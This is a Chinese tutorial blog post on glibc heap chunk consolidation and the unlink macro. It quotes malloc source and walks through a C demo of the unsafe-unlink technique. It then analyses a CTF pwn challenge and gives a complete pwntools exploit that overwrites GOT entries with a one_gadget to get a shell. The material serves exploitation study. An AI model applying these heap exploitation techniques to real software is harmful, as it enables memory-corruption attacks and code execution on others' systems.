如何进行Glibc堆块的向前向后合并与unlink原理机制探究
今天就跟大家聊聊有关如何进行Glibc堆块的向前向后合并与unlink原理机制探究，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。
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Unlink是把free掉的chunk从所属的bins链中，卸下来的操作（当然还包括一系列的检测机制），它是在free掉一块chunk(除fastbin大小的chunk外）之后，glibc检查这块chunk相邻的上下两块chunk的free状态之后，做出的向后合并或者向前合并引起的。
向前、向后合并
p是指向free掉的chunk的指针（注意不是指向data的指针，是chunk），size是这块chunk的size。
/* consolidate backward */4277 if (!prev_inuse(p)) {4278 prevsize = prev_size (p);4279 size += prevsize;4280 p = chunk_at_offset(p, -((long) prevsize));4281 unlink(av, p, bck, fwd);4282 }4283 4284 if (nextchunk != av->top) {4285 /* get and clear inuse bit */4286 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);4287 4288 /* consolidate forward */4289 if (!nextinuse) {4290 unlink(av, nextchunk, bck, fwd);4291 size += nextsize;4292 } else4293 clear_inuse_bit_at_offset(nextchunk, 0);42944295 /*
4296 Place the chunk in unsorted chunk list. Chunks are
4297 not placed into regular bins until after they have
4298 been given one chance to be used in malloc.
4299 */4300 4301 bck = unsorted_chunks(av);4302 fwd = bck->fd;4303 if (__glibc_unlikely (fwd->bk != bck))4304 malloc_printerr ("free(): corrupted unsorted chunks");4305 p->fd = fwd;4306 p->bk = bck;4307 if (!in_smallbin_range(size))4308 {4309 p->fd_nextsize = NULL;4310 p->bk_nextsize = NULL;4311 }4312 bck->fd = p;4313 fwd->bk = p;4314 4315 set_head(p, size | PREV_INUSE);4316 set_foot(p, size);4317 4318 check_free_chunk(av, p);4319 }4320 4321 /*
4322 If the chunk borders the current high end of memory,
4323 consolidate into top
4324 */4325 4326 else {4327 size += nextsize;4328 set_head(p, size | PREV_INUSE);4329 av->top = p;4330 check_chunk(av, p);4331 }向后合并
向后合并部分的代码在4277-4282行
向后合并流程：
检查p指向chunk的size字段的pre_inuse位，是否为0（也就是检查当前chunk的前一块chunk是否是free的，如果是则进入向前合并的流程)
获取前一块chunk的size，并加到size中（以此来表示size大小上已经合并）
根据当前chunk的presize来获得指向前一块chunk的指针
将这个指针传入unlink的宏（也就是让free掉的chunk的前一块chunk进入到unlink流程）
向前合并
如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示，并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。（见代码4284-4289行）
如果nextchunk不是free的，则修改他的size字段的pre_inuse位。
如果nextchunk是topchunk则和topchunk进行合并。
ps:检测nextchunk是否free，是通过inuse_bit_at_offset(nextchunk, nextsize)来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。
向前合并流程（见代码4290-4291）：
让nextchunk进入unlink流程
给size加上nextsize（同理也是表示大小上两个chunk已经合并了）
unlink
unlink是个宏，但是在读代码的时候请把bk和fd当作变量。
ps:p是指向chunk的指针。
#define unlink(AV, P, BK, FD) { if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
} } \
}
}检查当前chunk的size字段与它相邻的下一块chunk中记录的pre_size是否一样如果不一样，就出现corrupted size vs. prev_size的错误
检查是否满足p->fd->bk==p和p->bk->fd==p，否则出现corrupted double-linked list，错误。
解链操作：fd->bk=bk和bk->fd=fd(学过循环双链表的都能看懂吧）
这里配上一张CTFwiki的图:接下来的代码其实是对largechunk的一系列检测和处理机制，这里可以不用管,一般实战利用的时候都是对smallchunk进行利用的。
以上就是unlink的操作，本质上就是从glibc管理的bin链中解链以及解链前的安全检查（防止被利用）
那unlink之后又做了什么呢？
整理chunk结构并放入unsortedbin当中
不管是向前合并还是向后合并，unlink后都会来到4301-4318行。
其实做的是，将合并好的chunk加入到unsorted bin中第一个
并且如果这个chunk是samll chunk大小的话它是没有fd_nextsize和bk_nextsize的
然后就设置合并过后的chunk的头部（设置合并过后的size,已经合并形成的chunk的下一块chunk的pre_size字段）
unlink Demo调试验证
理论上面已经谈过了，butTalk is cheap,Debug is real!先来个小demo结合上面的原理感受下。
#include#include #include #include struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding};int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; }
ps:**在这个Demo中假定chun1的数据内容是被攻击者可控的并且可以溢出修改到下面一个chunk
先malloc两个chunk，然后看看他们的地址
然后在chunk1中伪造一个chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk来避过corrupted double-linked list检测。
因为要使得fake_chunk->fd—>bk==fakechunk的话，要使得fake_chunk->fd里面存的是存有chunk1的地址的变量往上偏移0x18,同理fake_chunk->bk也是要网上偏移0x10的。然后修改好chunk2的presize字段为0x80就是chunk1的数据大小（用来避过corrupted size vs. prev_size检测的），和size字段的preinuse位为0（），从而达到欺骗glibc的机制，让它一位chunk2的前一块chunk（也就是chunk1）是free的，并且满足unlink所有的安全机制。这时候free掉chunk2的话就会触发向后合并。看一看chunk1和chunk2的情况。以及完全构造好了。接下来就是free(chunk2)触发unlink。触发之后
chunk1的内容变成了&chunk1-3了。
这是因为fake_chunk->bk->fd=fake_chunk->fd,前面已经讲过fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink过后,chunk1里边存的是&chunk1-0x10的地址。
看看里边的内容：
画线的地方是chunk2存的内容，无疑是栈上的东西了。而它前一个8字节存的就是chunk1存的地址0x00007fffffffdcb8,对吧自己算算地址，不就是&chunk1-0x18了么？
经过原理探究和demo调试，心中已经对unlink有感觉了吧，再来道题，练练应该就没问题了吧。
在网上找了一个题，拖进ida看看
主菜单如图。关键部分是：**添加**，**删除**，**显示**，**编辑**
**添加**：
总共可以添加99个chunk，然后根据输入的lenth（长度没有限制），然后申请内存并记录在全局变量中，并且lenth也是记录在全局变量中的，然后往内存中读入内容。
**删除**:
根据输入的index,free掉对应的块，并将记录的地址和lenth清零。看来没有uaf。
**显示**：
直接遍历全局变量数组，打印对应内存的内容，可以用来泄露地址。
**编辑**：
根据输入的index和lenth来修改chunk的内容。（lenth是我们自己控制的，所以存在溢出修改）
综上分析，选择的思路是：
构造两个相邻块，来实现unlink的操作。
当时要要注意unlink的检测条件，所以申请了连续4个chunk，用index为1和2的chunk来构造Unlink所需的chunk。
unlink之后,存有index为2的指针变量就会指向他的地址-0x18处。然后通过edit index2，修改全局变量数组的内容为got表地址，从而泄露，然后再查查库，之后就好利用了，我这里使用的是one_gadget覆盖puts的got表.
**exp**:
```
from pwn import *
context.log_level="debug"
def add(len,content):
p.recvuntil("choice:")
p.send("2")
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servant:")
p.send(content)
def change(index,len,content):
p.recvuntil("choice:")
p.send("3")
p.recvuntil("servant:")
p.send(str(index))
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servnat:")
p.send(content)
def free(index):
p.recvuntil(":")
p.send("4")
p.recvuntil("servant:")
p.send(str(index))
def show():
p.recvuntil("ce:")
p.send("1")
libc=ELF("libc.so")
puts_got=0x602020
free_got=0x602018
binsh="/bin/sh"
ptr=0x6020e8
p=process("./pwn13")
add(0xf0,"aaa")
add(0xf0,"bbb")
add(0xf0,"ccc")
add(0xf0,"ddd")
change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0))
change(0,0x100,"a"*0xf8+p64(0x111))
free(1)
change(2,0x10,p64(0xf0)+p64(free_got))
show()
p.recvuntil("1 : ")
free_addr=u64(p.recv(6).ljust(8,'\0'))
print "free:"+hex(free_addr)
one_gadet=free_addr-libc.symbols['free']+0x45216
puts_addr=free_addr-libc.symbols['free']+libc.symbols['puts']
change(1,0x16,p64(puts_addr)+p64(one_gadet))
p.interactive()
看完上述内容，你们对如何进行Glibc堆块的向前向后合并与unlink原理机制探究有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注创新互联行业资讯频道，感谢大家的支持。
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